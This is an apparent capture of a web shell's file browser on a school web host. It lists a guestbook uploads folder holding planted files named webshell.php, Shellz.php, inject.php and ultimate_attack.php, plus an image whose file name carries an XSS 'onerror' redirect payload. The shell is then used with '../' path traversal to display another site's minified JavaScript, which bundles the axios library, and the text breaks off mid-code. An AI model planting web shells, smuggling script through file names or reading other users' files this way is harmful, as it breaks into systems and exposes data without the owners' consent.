🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../589181.klas4s23.mid-ica.nl/public_html/ELearning/js/accountPage.js

"use strict";(()=>{var tr=Object.defineProperty;var rr=(t,e)=>{for(var r in e)tr(t,r,{get:e[r],enumerable:!0})};function ct(t){let e=document.cookie.split("; ");for(let r of e){let[n,o]=r.split("=");if(n===t)return decodeURIComponent(o)}return null}function Ue(t,e,r={}){let n=`${encodeURIComponent(t)}=${encodeURIComponent(e)}`;if(r.expires){let o=r.expires instanceof Date?r.expires.toUTCString():r.expires;n+=`; expires=${o}`}r.path&&(n+=`; path=${r.path}`),r.domain&&(n+=`; domain=${r.domain}`),r.secure&&(n+="; secure"),document.cookie=n}var A=class{static{this.UserID=null}static{this.SessionToken=null}static getSessionId(){return ct("sessionId")}static setSessionId(e,r){Ue("sessionId",e,{expires:r})}static clearSessionId(){Ue("sessionId","",{expires:new Date(0)})}static login(e,r){this.setSessionId(e,r)}static logout(){this.clearSessionId()}static isLoggedIn(){let e=this.getSessionId();return e!=null&&e!==""}};var nr=t=>{if(!t){console.error("Invalid URL");return}window.location.href=t},_=nr;var ke=class{constructor(){this.API_URL="http://87.106.224.51:5010/api";this.ProdOrDebug="production";this.IsProduction=()=>this.ProdOrDebug==="production";this.IsDebug=()=>this.ProdOrDebug==="development";this.RequestStability=500}},or=new ke,G=or;var I=class{static log(e){console.log(e)}static error(e){console.log("[ERROR] "+e)}static warn(e){console.log("[WARN] "+e)}static debug(e){G.IsDebug()&&console.log("[DEBUG] "+e)}static info(e){console.log("[INFO] "+e)}};var _e=class{constructor(){this.topBar=document.getElementById("top-bar");this.topBarLeft=document.getElementById("top-bar-left");this.topBarRight=document.getElementById("top-bar-right");this.topbar_MyLists=document.getElementById("topbar-MyLists");this.topbar_Logout=document.getElementById("topbar-Logout");this.topbar_Login=document.getElementById("topbar-Login");this.topbar_Register=document.getElementById("topbar-Register");this.topbar_Profile=document.getElementById("topbar-Profile");I.debug("TopBarModule scaffolded.")}async Init(e){this.addEventListeners(),!(e===void 0||await e!==!0)&&(this.topbar_MyLists.style.display="block",this.topbar_Profile.style.display="block",this.topbar_Logout.style.display="block",this.topbar_Login.style.display="none",this.topbar_Register.style.display="none")}async render(){}addEventListeners(){this.topbar_Logout.addEventListener("click",async()=>{confirm("Are you sure you want to log out?")&&(A.logout(),_("./index.html"))}),this.topbar_Login.addEventListener("click",async()=>{_("./login.html")}),this.topbar_Register.addEventListener("click",async()=>{_("./register.html")}),this.topbar_Profile.addEventListener("click",async()=>{_("./accountPage.html")}),this.topbar_MyLists.addEventListener("click",async()=>{_("./myLists.html")})}},lt=_e;function $(t,e){return function(){return t.apply(e,arguments)}}var{toString:sr}=Object.prototype,{getPrototypeOf:Be}=Object,{iterator:de,toStringTag:ft}=Symbol,me=(t=>e=>{let r=sr.call(e);return t[r]||(t[r]=r.slice(8,-1).toLowerCase())})(Object.create(null)),C=t=>(t=t.toLowerCase(),e=>me(e)===t),pe=t=>e=>typeof e===t,{isArray:v}=Array,K=pe("undefined");function ir(t){return t!==null&&!K(t)&&t.constructor!==null&&!K(t.constructor)&&P(t.constructor.isBuffer)&&t.constructor.isBuffer(t)}var dt=C("ArrayBuffer");function ar(t){let e;return typeof ArrayBuffer<"u"&&ArrayBuffer.isView?e=ArrayBuffer.isView(t):e=t&&t.buffer&&dt(t.buffer),e}var cr=pe("string"),P=pe("function"),mt=pe("number"),he=t=>t!==null&&typeof t=="object",lr=t=>t===!0||t===!1,fe=t=>{if(me(t)!=="object")return!1;let e=Be(t);return(e===null||e===Object.prototype||Object.getPrototypeOf(e)===null)&&!(ft in t)&&!(de in t)},ur=C("Date"),fr=C("File"),dr=C("Blob"),mr=C("FileList"),pr=t=>he(t)&&P(t.pipe),hr=t=>{let e;return t&&(typeof FormData=="function"&&t instanceof FormData||P(t.append)&&((e=me(t))==="formdata"||e==="object"&&P(t.toString)&&t.toString()==="[object FormData]"))},br=C("URLSearchParams"),[gr,yr,Er,wr]=["ReadableStream","Request","Response","Headers"].map(C),xr=t=>t.trim?t.trim():t.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"");function X(t,e,{allOwnKeys:r=!1}={}){if(t===null||typeof t>"u")return;let n,o;if(typeof t!="object"&&(t=[t]),v(t))for(n=0,o=t.length;n<o;n++)e.call(null,t[n],n,t);else{let s=r?Object.getOwnPropertyNames(t):Object.keys(t),i=s.length,c;for(n=0;n<i;n++)c=s[n],e.call(null,t[c],c,t)}}function pt(t,e){e=e.toLowerCase();let r=Object.keys(t),n=r.length,o;for(;n-- >0;)if(o=r[n],e===o.toLowerCase())return o;return null}var j=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:global,ht=t=>!K(t)&&t!==j;function Me(){let{caseless:t}=ht(this)&&this||{},e={},r=(n,o)=>{let s=t&&pt(e,o)||o;fe(e[s])&&fe(n)?e[s]=Me(e[s],n):fe(n)?e[s]=Me({},n):v(n)?e[s]=n.slice():e[s]=n};for(let n=0,o=arguments.length;n<o;n++)arguments[n]&&X(arguments[n],r);return e}var Sr=(t,e,r,{allOwnKeys:n}={})=>(X(e,(o,s)=>{r&&P(o)?t[s]=$(o,r):t[s]=o},{allOwnKeys:n}),t),Rr=t=>(t.charCodeAt(0)===65279&&(t=t.slice(1)),t),Lr=(t,e,r,n)=>{t.prototype=Object.create(e.prototype,n),t.prototype.constructor=t,Object.defineProperty(t,"super",{value:e.prototype}),r&&Object.assign(t.prototype,r)},Tr=(t,e,r,n)=>{let o,s,i,c={};if(e=e||{},t==null)return e;do{for(o=Object.getOwnPropertyNames(t),s=o.length;s-- >0;)i=o[s],(!n||n(i,t,e))&&!c[i]&&(e[i]=t[i],c[i]=!0);t=r!==!1&&Be(t)}while(t&&(!r||r(t,e))&&t!==Object.prototype);return e},Ar=(t,e,r)=>{t=String(t),(r===void 0||r>t.length)&&(r=t.length),r-=e.length;let n=t.indexOf(e,r);return n!==-1&&n===r},Or=t=>{if(!t)return null;if(v(t))return t;let e=t.length;if(!mt(e))return null;let r=new Array(e);for(;e-- >0;)r[e]=t[e];return r},Pr=(t=>e=>t&&e instanceof t)(typeof Uint8Array<"u"&&Be(Uint8Array)),Ir=(t,e)=>{let n=(t&&t[de]).call(t),o;for(;(o=n.next())&&!o.done;){let s=o.value;e.call(t,s[0],s[1])}},Cr=(t,e)=>{let r,n=[];for(;(r=t.exec(e))!==null;)n.push(r);return n},Dr=C("HTMLFormElement"),Fr=t=>t.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,function(r,n,o){return n.toUpperCase()+o}),ut=(({hasOwnProperty:t})=>(e,r)=>t.call(e,r))(Object.prototype),Nr=C("RegExp"),bt=(t,e)=>{let r=Object.getOwnPropertyDescriptors(t),n={};X(r,(o,s)=>{let i;(i=e(o,s,t))!==!1&&(n[s]=i||o)}),Object.defineProperties(t,n)},Ur=t=>{bt(t,(e,r)=>{if(P(t)&&["arguments","caller","callee"].indexOf(r)!==-1)return!1;let n=t[r];if(P(n)){if(e.enumerable=!1,"writable"in e){e.writable=!1;return}e.set||(e.set=()=>{throw Error("Can not rewrite read-only method '"+r+"'")})}})},kr=(t,e)=>{let r={},n=o=>{o.forEach(s=>{r[s]=!0})};return v(t)?n(t):n(String(t).split(e)),r},_r=()=>{},Mr=(t,e)=>t!=null&&Number.isFinite(t=+t)?t:e;function Br(t){return!!(t&&P(t.append)&&t[ft]==="FormData"&&t[de])}var Hr=t=>{let e=new Array(10),r=(n,o)=>{if(he(n)){if(e.indexOf(n)>=0)return;if(!("toJSON"in n)){e[o]=n;let s=v(n)?[]:{};return X(n,(i,c)=>{let f=r(i,o+1);!K(f)&&(s[c]=f)}),e[o]=void 0,s}}return n};return r(t,0)},jr=C("AsyncFunction"),vr=t=>t&&(he(t)||P(t))&&P(t.then)&&P(t.catch),gt=((t,e)=>t?setImmediate:e?((r,n)=>(j.addEventListener("message",({source:o,data:s})=>{o===j&&s===r&&n.length&&n.shift()()},!1),o=>{n.push(o),j.postMessage(r,"*")}))(`axios@${Math.random()}`,[]):r=>setTimeout(r))(typeof setImmediate=="function",P(j.postMessage)),Wr=typeof queueMicrotask<"u"?queueMicrotask.bind(j):typeof process<"u"&&process.nextTick||gt,qr=t=>t!=null&&P(t[de]),a={isArray:v,isArrayBuffer:dt,isBuffer:ir,isFormData:hr,isArrayBufferView:ar,isString:cr,isNumber:mt,isBoolean:lr,isObject:he,isPlainObject:fe,isReadableStream:gr,isRequest:yr,isResponse:Er,isHeaders:wr,isUndefined:K,isDate:ur,isFile:fr,isBlob:dr,isRegExp:Nr,isFunction:P,isStream:pr,isURLSearchParams:br,isTypedArray:Pr,isFileList:mr,forEach:X,merge:Me,extend:Sr,trim:xr,stripBOM:Rr,inherits:Lr,toFlatObject:Tr,kindOf:me,kindOfTest:C,endsWith:Ar,toArray:Or,forEachEntry:Ir,matchAll:Cr,isHTMLForm:Dr,hasOwnProperty:ut,hasOwnProp:ut,reduceDescriptors:bt,freezeMethods:Ur,toObjectSet:kr,toCamelCase:Fr,noop:_r,toFiniteNumber:Mr,findKey:pt,global:j,isContextDefined:ht,isSpecCompliantForm:Br,toJSONObject:Hr,isAsyncFn:jr,isThenable:vr,setImmediate:gt,asap:Wr,isIterable:qr};function W(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=new Error().stack,this.message=t,this.name="AxiosError",e&&(this.code=e),r&&(this.config=r),n&&(this.request=n),o&&(this.response=o,this.status=o.status?o.status:null)}a.inherits(W,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:a.toJSONObject(this.config),code:this.code,status:this.status}}});var yt=W.prototype,Et={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED","ERR_NOT_SUPPORT","ERR_INVALID_URL"].forEach(t=>{Et[t]={value:t}});Object.defineProperties(W,Et);Object.defineProperty(yt,"isAxiosError",{value:!0});W.from=(t,e,r,n,o,s)=>{let i=Object.create(yt);return a.toFlatObject(t,i,function(f){return f!==Error.prototype},c=>c!=="isAxiosError"),W.call(i,t.message,e,r,n,o),i.cause=t,i.name=t.name,s&&Object.assign(i,s),i};var h=W;var be=null;function He(t){return a.isPlainObject(t)||a.isArray(t)}function xt(t){return a.endsWith(t,"[]")?t.slice(0,-2):t}function wt(t,e,r){return t?t.concat(e).map(function(o,s){return o=xt(o),!r&&s?"["+o+"]":o}).join(r?".":""):e}function Jr(t){return a.isArray(t)&&!t.some(He)}var zr=a.toFlatObject(a,{},null,function(e){return/^is[A-Z]/.test(e)});function Vr(t,e,r){if(!a.isObject(t))throw new TypeError("target must be an object");e=e||new(be||FormData),r=a.toFlatObject(r,{metaTokens:!0,dots:!1,indexes:!1},!1,function(b,p){return!a.isUndefined(p[b])});let n=r.metaTokens,o=r.visitor||u,s=r.dots,i=r.indexes,f=(r.Blob||typeof Blob<"u"&&Blob)&&a.isSpecCompliantForm(e);if(!a.isFunction(o))throw new TypeError("visitor must be a function");function l(m){if(m===null)return"";if(a.isDate(m))return m.toISOString();if(!f&&a.isBlob(m))throw new h("Blob is not supported. Use a Buffer instead.");return a.isArrayBuffer(m)||a.isTypedArray(m)?f&&typeof Blob=="function"?new Blob([m]):Buffer.from(m):m}function u(m,b,p){let E=m;if(m&&!p&&typeof m=="object"){if(a.endsWith(b,"{}"))b=n?b:b.slice(0,-2),m=JSON.stringify(m);else if(a.isArray(m)&&Jr(m)||(a.isFileList(m)||a.endsWith(b,"[]"))&&(E=a.toArray(m)))return b=xt(b),E.forEach(function(T,U){!(a.isUndefined(T)||T===null)&&e.append(i===!0?wt([b],U,s):i===null?b:b+"[]",l(T))}),!1}return He(m)?!0:(e.append(wt(p,b,s),l(m)),!1)}let d=[],g=Object.assign(zr,{defaultVisitor:u,convertValue:l,isVisitable:He});function S(m,b){if(!a.isUndefined(m)){if(d.indexOf(m)!==-1)throw Error("Circular reference detected in "+b.join("."));d.push(m),a.forEach(m,function(E,R){(!(a.isUndefined(E)||E===null)&&o.call(e,E,a.isString(R)?R.trim():R,b,g))===!0&&S(E,b?b.concat(R):[R])}),d.pop()}}if(!a.isObject(t))throw new TypeError("data must be an object");return S(t),e}var M=Vr;function St(t){let e={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+","%00":"\0"};return encodeURIComponent(t).replace(/[!'()~]|%20|%00/g,function(n){return e[n]})}function Rt(t,e){this._pairs=[],t&&M(t,this,e)}var Lt=Rt.prototype;Lt.append=function(e,r){this._pairs.push([e,r])};Lt.toString=function(e){let r=e?function(n){return e.call(this,n,St)}:St;return this._pairs.map(function(o){return r(o[0])+"="+r(o[1])},"").join("&")};var ge=Rt;function Gr(t){return encodeURIComponent(t).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}function Q(t,e,r){if(!e)return t;let n=r&&r.encode||Gr;a.isFunction(r)&&(r={serialize:r});let o=r&&r.serialize,s;if(o?s=o(e,r):s=a.isURLSearchParams(e)?e.toString():new ge(e,r).toString(n),s){let i=t.indexOf("#");i!==-1&&(t=t.slice(0,i)),t+=(t.indexOf("?")===-1?"?":"&")+s}return t}var je=class{constructor(){this.handlers=[]}use(e,r,n){return this.handlers.push({fulfilled:e,rejected:r,synchronous:n?n.synchronous:!1,runWhen:n?n.runWhen:null}),this.handlers.length-1}eject(e){this.handlers[e]&&(this.handlers[e]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(e){a.forEach(this.handlers,function(n){n!==null&&e(n)})}},ve=je;var ye={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1};var Tt=typeof URLSearchParams<"u"?URLSearchParams:ge;var At=typeof FormData<"u"?FormData:null;var Ot=typeof Blob<"u"?Blob:null;var Pt={isBrowser:!0,classes:{URLSearchParams:Tt,FormData:At,Blob:Ot},protocols:["http","https","file","blob","url","data"]};var Je={};rr(Je,{hasBrowserEnv:()=>qe,hasStandardBrowserEnv:()=>$r,hasStandardBrowserWebWorkerEnv:()=>Kr,navigator:()=>We,origin:()=>Xr});var qe=typeof window<"u"&&typeof document<"u",We=typeof navigator=="object"&&navigator||void 0,$r=qe&&(!We||["ReactNative","NativeScript","NS"].indexOf(We.product)<0),Kr=typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&typeof self.importScripts=="function",Xr=qe&&window.location.href||"http://localhost";var y={...Je,...Pt};function ze(t,e){return M(t,new y.classes.URLSearchParams,Object.assign({visitor:function(r,n,o,s){return y.isNode&&a.isBuffer(r)?(this.append(n,r.toString("base64")),!1):s.defaultVisitor.apply(this,arguments)}},e))}function Qr(t){return a.matchAll(/\w+|\[(\w*)]/g,t).map(e=>e[0]==="[]"?"":e[1]||e[0])}function Zr(t){let e={},r=Object.keys(t),n,o=r.length,s;for(n=0;n<o;n++)s=r[n],e[s]=t[s];return e}function Yr(t){function e(r,n,o,s){let i=r[s++];if(i==="__proto__")return!0;let c=Number.isFinite(+i),f=s>=r.length;return i=!i&&a.isArray(o)?o.length:i,f?(a.hasOwnProp(o,i)?o[i]=[o[i],n]:o[i]=n,!c):((!o[i]||!a.isObject(o[i]))&&(o[i]=[]),e(r,n,o[i],s)&&a.isArray(o[i])&&(o[i]=Zr(o[i])),!c)}if(a.isFormData(t)&&a.isFunction(t.entries)){let r={};return a.forEachEntry(t,(n,o)=>{e(Qr(n),o,r,0)}),r}return null}var Ee=Yr;function en(t,e,r){if(a.isString(t))try{return(e||JSON.parse)(t),a.trim(t)}catch(n){if(n.name!=="SyntaxError")throw n}return(r||JSON.stringify)(t)}var Ve={transitional:ye,adapter:["xhr","http","fetch"],transformRequest:[function(e,r){let n=r.getContentType()||"",o=n.indexOf("application/json")>-1,s=a.isObject(e);if(s&&a.isHTMLForm(e)&&(e=new FormData(e)),a.isFormData(e))return o?JSON.stringify(Ee(e)):e;if(a.isArrayBuffer(e)||a.isBuffer(e)||a.isStream(e)||a.isFile(e)||a.isBlob(e)||a.isReadableStream(e))return e;if(a.isArrayBufferView(e))return e.buffer;if(a.isURLSearchParams(e))return r.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),e.toString();let c;if(s){if(n.indexOf("application/x-www-form-urlencoded")>-1)return ze(e,this.formSerializer).toString();if((c=a.isFileList(e))||n.indexOf("multipart/form-data")>-1){let f=this.env&&this.env.FormData;return M(c?{"files[]":e}:e,f&&new f,this.formSerializer)}}return s||o?(r.setContentType("application/json",!1),en(e)):e}],transformResponse:[function(e){let r=this.transitional||Ve.transitional,n=r&&r.forcedJSONParsing,o=this.responseType==="json";if(a.isResponse(e)||a.isReadableStream(e))return e;if(e&&a.isString(e)&&(n&&!this.responseType||o)){let i=!(r&&r.silentJSONParsing)&&o;try{return JSON.parse(e)}catch(c){if(i)throw c.name==="SyntaxError"?h.from(c,h.ERR_BAD_RESPONSE,this,null,this.response):c}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:y.classes.FormData,Blob:y.classes.Blob},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};a.forEach(["delete","get","head","post","put","patch"],t=>{Ve.headers[t]={}});var q=Ve;var tn=a.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),It=t=>{let e={},r,n,o;return t&&t.split(`
`).forEach(function(i){o=i.indexOf(":"),r=i.substring(0,o).trim().toLowerCase(),n=i.substring(o+1).trim(),!(!r||e[r]&&tn[r])&&(r==="set-cookie"?e[r]?e[r].push(n):e[r]=[n]:e[r]=e[r]?e[r]+", "+n:n)}),e};var Ct=Symbol("internals");function Z(t){return t&&String(t).trim().toLowerCase()}function we(t){return t===!1||t==null?t:a.isArray(t)?t.map(we):String(t)}function rn(t){let e=Object.create(null),r=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g,n;for(;n=r.exec(t);)e[n[1]]=n[2];return e}var nn=t=>/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(t.trim());function Ge(t,e,r,n,o){if(a.isFunction(n))return n.call(this,e,r);if(o&&(e=r),!!a.isString(e)){if(a.isString(n))return e.indexOf(n)!==-1;if(a.isRegExp(n))return n.test(e)}}function on(t){return t.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,(e,r,n)=>r.toUpperCase()+n)}function sn(t,e){let r=a.toCamelCase(" "+e);["get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(o,s,i){return this[n].call(this,e,o,s,i)},configurable:!0})})}var J=class{constructor(e){e&&this.set(e)}set(e,r,n){let o=this;function s(c,f,l){let u=Z(f);if(!u)throw new Error("header name must be a non-empty string");let d=a.findKey(o,u);(!d||o[d]===void 0||l===!0||l===void 0&&o[d]!==!1)&&(o[d||f]=we(c))}let i=(c,f)=>a.forEach(c,(l,u)=>s(l,u,f));if(a.isPlainObject(e)||e instanceof this.constructor)i(e,r);else if(a.isString(e)&&(e=e.trim())&&!nn(e))i(It(e),r);else if(a.isObject(e)&&a.isIterable(e)){let c={},f,l;for(let u of e){if(!a.isArray(u))throw TypeError("Object iterator must return a key-value pair");c[l=u[0]]=(f=c[l])?a.isArray(f)?[...f,u[1]]:[f,u[1]]:u[1]}i(c,r)}else e!=null&&s(r,e,n);return this}get(e,r){if(e=Z(e),e){let n=a.findKey(this,e);if(n){let o=this[n];if(!r)return o;if(r===!0)return rn(o);if(a.isFunction(r))return r.call(this,o,n);if(a.isRegExp(r))return r.exec(o);throw new TypeError("parser must be boolean|regexp|function")}}}has(e,r){if(e=Z(e),e){let n=a.findKey(this,e);return!!(n&&this[n]!==void 0&&(!r||Ge(this,this[n],n,r)))}return!1}delete(e,r){let n=this,o=!1;function s(i){if(i=Z(i),i){let c=a.findKey(n,i);c&&(!r||Ge(n,n[c],c,r))&&(delete n[c],o=!0)}}return a.isArray(e)?e.forEach(s):s(e),o}clear(e){let r=Object.keys(this),n=r.length,o=!1;for(;n--;){let s=r[n];(!e||Ge(this,this[s],s,e,!0))&&(delete this[s],o=!0)}return o}normalize(e){let r=this,n={};return a.forEach(this,(o,s)=>{let i=a.findKey(n,s);if(i){r[i]=we(o),delete r[s];return}let c=e?on(s):String(s).trim();c!==s&&delete r[s],r[c]=we(o),n[c]=!0}),this}concat(...e){return this.constructor.concat(this,...e)}toJSON(e){let r=Object.create(null);return a.forEach(this,(n,o)=>{n!=null&&n!==!1&&(r[o]=e&&a.isArray(n)?n.join(", "):n)}),r}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map(([e,r])=>e+": "+r).join(`
`)}getSetCookie(){return this.get("set-cookie")||[]}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(e){return e instanceof this?e:new this(e)}static concat(e,...r){let n=new this(e);return r.forEach(o=>n.set(o)),n}static accessor(e){let n=(this[Ct]=this[Ct]={accessors:{}}).accessors,o=this.prototype;function s(i){let c=Z(i);n[c]||(sn(o,i),n[c]=!0)}return a.isArray(e)?e.forEach(s):s(e),this}};J.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]);a.reduceDescriptors(J.prototype,({value:t},e)=>{let r=e[0].toUpperCase()+e.slice(1);return{get:()=>t,set(n){this[r]=n}}});a.freezeMethods(J);var L=J;function Y(t,e){let r=this||q,n=e||r,o=L.from(n.headers),s=n.data;return a.forEach(t,function(c){s=c.call(r,s,o.normalize(),e?e.status:void 0)}),o.normalize(),s}function ee(t){return!!(t&&t.__CANCEL__)}function Dt(t,e,r){h.call(this,t??"canceled",h.ERR_CANCELED,e,r),this.name="CanceledError"}a.inherits(Dt,h,{__CANCEL__:!0});var F=Dt;function te(t,e,r){let n=r.config.validateStatus;!r.status||!n||n(r.status)?t(r):e(new h("Request failed with status code "+r.status,[h.ERR_BAD_REQUEST,h.ERR_BAD_RESPONSE][Math.floor(r.status/100)-4],r.config,r.request,r))}function $e(t){let e=/^([-+\w]{1,25})(:?\/\/|:)/.exec(t);return e&&e[1]||""}function an(t,e){t=t||10;let r=new Array(t),n=new Array(t),o=0,s=0,i;return e=e!==void 0?e:1e3,function(f){let l=Date.now(),u=n[s];i||(i=l),r[o]=f,n[o]=l;let d=s,g=0;for(;d!==o;)g+=r[d++],d=d%t;if(o=(o+1)%t,o===s&&(s=(s+1)%t),l-i<e)return;let S=u&&l-u;return S?Math.round(g*1e3/S):void 0}}var Ft=an;function cn(t,e){let r=0,n=1e3/e,o,s,i=(l,u=Date.now())=>{r=u,o=null,s&&(clearTimeout(s),s=null),t.apply(null,l)};return[(...l)=>{let u=Date.now(),d=u-r;d>=n?i(l,u):(o=l,s||(s=setTimeout(()=>{s=null,i(o)},n-d)))},()=>o&&i(o)]}var Nt=cn;var z=(t,e,r=3)=>{let n=0,o=Ft(50,250);return Nt(s=>{let i=s.loaded,c=s.lengthComputable?s.total:void 0,f=i-n,l=o(f),u=i<=c;n=i;let d={loaded:i,total:c,progress:c?i/c:void 0,bytes:f,rate:l||void 0,estimated:l&&c&&u?(c-i)/l:void 0,event:s,lengthComputable:c!=null,[e?"download":"upload"]:!0};t(d)},r)},Ke=(t,e)=>{let r=t!=null;return[n=>e[0]({lengthComputable:r,total:t,loaded:n}),e[1]]},Xe=t=>(...e)=>a.asap(()=>t(...e));var Ut=y.hasStandardBrowserEnv?((t,e)=>r=>(r=new URL(r,y.origin),t.protocol===r.protocol&&t.host===r.host&&(e||t.port===r.port)))(new URL(y.origin),y.navigator&&/(msie|trident)/i.test(y.navigator.userAgent)):()=>!0;var kt=y.hasStandardBrowserEnv?{write(t,e,r,n,o,s){let i=[t+"="+encodeURIComponent(e)];a.isNumber(r)&&i.push("expires="+new Date(r).toGMTString()),a.isString(n)&&i.push("path="+n),a.isString(o)&&i.push("domain="+o),s===!0&&i.push("secure"),document.cookie=i.join("; ")},read(t){let e=document.cookie.match(new RegExp("(^|;\\s*)("+t+")=([^;]*)"));return e?decodeURIComponent(e[3]):null},remove(t){this.write(t,"",Date.now()-864e5)}}:{write(){},read(){return null},remove(){}};function Qe(t){return/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)}function Ze(t,e){return e?t.replace(/\/?\/$/,"")+"/"+e.replace(/^\/+/,""):t}function re(t,e,r){let n=!Qe(e);return t&&(n||r==!1)?Ze(t,e):e}var _t=t=>t instanceof L?{...t}:t;function D(t,e){e=e||{};let r={};function n(l,u,d,g){return a.isPlainObject(l)&&a.isPlainObject(u)?a.merge.call({caseless:g},l,u):a.isPlainObject(u)?a.merge({},u):a.isArray(u)?u.slice():u}function o(l,u,d,g){if(a.isUndefined(u)){if(!a.isUndefined(l))return n(void 0,l,d,g)}else return n(l,u,d,g)}function s(l,u){if(!a.isUndefined(u))return n(void 0,u)}function i(l,u){if(a.isUndefined(u)){if(!a.isUndefined(l))return n(void 0,l)}else return n(void 0,u)}function c(l,u,d){if(d in e)return n(l,u);if(d in t)return n(void 0,l)}let f={url:s,method:s,data:s,baseURL:i,transformRequest:i,transformResponse:i,paramsSerializer:i,timeout:i,timeoutMessage:i,withCredentials:i,withXSRFToken:i,adapter:i,responseType:i,xsrfCookieName:i,xsrfHeaderName:i,onUploadProgress:i,onDownloadProgress:i,decompress:i,maxContentLength:i,maxBodyLength:i,beforeRedirect:i,transport:i,httpAgent:i,httpsAgent:i,cancelToken:i,socketPath:i,responseEncoding:i,validateStatus:c,headers:(l,u,d)=>o(_t(l),_t(u),d,!0)};return a.forEach(Object.keys(Object.assign({},t,e)),function(u){let d=f[u]||o,g=d(t[u],e[u],u);a.isUndefined(g)&&d!==c||(r[u]=g)}),r}var xe=t=>{let e=D({},t),{data:r,withXSRFToken:n,xsrfHeaderName:o,xsrfCookieName:s,headers:i,auth:c}=e;e.headers=i=L.from(i),e.url=Q(re(e.baseURL,e.url,e.allowAbsoluteUrls),t.params,t.paramsSerializer),c&&i.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):"")));let f;if(a.isFormData(r)){if(y.hasStandardBrowserEnv||y.hasStandardBrowserWebWorkerEnv)i.setContentType(void 0);else if((f=i.getContentType())!==!1){let[l,...u]=f?f.split(";").map(d=>d.trim()).filter(Boolean):[];i.setContentType([l||"multipart/form-data",...u].join("; "))}}if(y.hasStandardBrowserEnv&&(n&&a.isFunction(n)&&(n=n(e)),n||n!==!1&&Ut(e.url))){let l=o&&s&&kt.read(s);l&&i.set(o,l)}return e};var ln=typeof XMLHttpRequest<"u",Mt=ln&&function(t){return new Promise(function(r,n){let o=xe(t),s=o.data,i=L.from(o.headers).normalize(),{responseType:c,onUploadProgress:f,onDownloadProgress:l}=o,u,d,g,S,m;function b(){S&&S(),m&&m(),o.cancelToken&&o.cancelToken.unsubscribe(u),o.signal&&o.signal.removeEventListener("abort",u)}let p=new XMLHttpRequest;p.open(o.method.toUpperCase(),o.url,!0),p.timeout=o.timeout;function E(){if(!p)return;let T=L.from("getAllResponseHeaders"in 